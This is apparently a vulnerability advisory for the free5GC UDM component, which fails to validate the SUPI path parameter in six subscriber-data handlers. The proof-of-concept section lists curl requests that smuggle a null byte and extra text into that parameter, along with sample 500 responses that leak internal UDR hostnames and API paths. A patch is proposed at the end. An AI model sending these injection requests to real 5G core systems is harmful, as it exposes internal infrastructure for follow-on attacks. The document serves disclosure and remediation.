Free5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information

Summary

The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.

Affected Package

• Ecosystem: Go
• Package: github.com/free5gc/udm
• Affected versions: <= v1.4.2
• Patched versions: none yet

Details

The following handlers in internal/sbi/api_subscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:

• HandleGetSmfSelectData — GET /:supi/smf-select-data
• HandleGetSupi — GET /:supi
• HandleGetTraceData — GET /:supi/trace-data
• HandleGetUeContextInSmfData — GET /:supi/ue-context-in-smf-data
• HandleGetNssai — GET /:supi/nssai
• HandleGetSmData — GET /:supi/sm-data

By contrast, HandleGetAmData in the same file correctly validates the supi parameter:

// HandleGetAmData — correctly validates (not vulnerable)
supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
    c.JSON(http.StatusBadRequest, problemDetail)
    return
}

// HandleGetSmfSelectData — missing validation (vulnerable)
supi := c.Params.ByName("supi")
// ← no validator.IsValidSupi(supi) call
s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)

The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEM_FAILURE that includes the full internal UDR URL in the detail field.

This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/api_ueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.

Proof of Concept

# Vulnerable — returns 500 with internal UDR URL exposed
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"

# Expected (vulnerable) response:
# HTTP 500
# {
#   "title": "System failure",
#   "status": 500,
#   "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL",
#   "cause": "SYSTEM_FAILURE"
# }

# Protected endpoint (for comparison) — returns 400
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data"
# HTTP 400
# {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"}

Impact

An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:

1. Internal UDR hostname and port
2. Full internal API path structure (/nudr-dr/v2/subscription-data/...)
3. UDR API version
4. Internal service naming convention

This information can be used to facilitate further attacks against the UDR or other internal 5G core components.

Recommended Fix

Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:

supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
    problemDetail := models.ProblemDetails{
        Title:  "Malformed request syntax",
        Status: http.StatusBadRequest,
        Detail: "Supi is invalid",
        Cause:  "MANDATORY_IE_INCORRECT",
    }
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status)))
    c.JSON(int(problemDetail.Status), problemDetail)
    return
}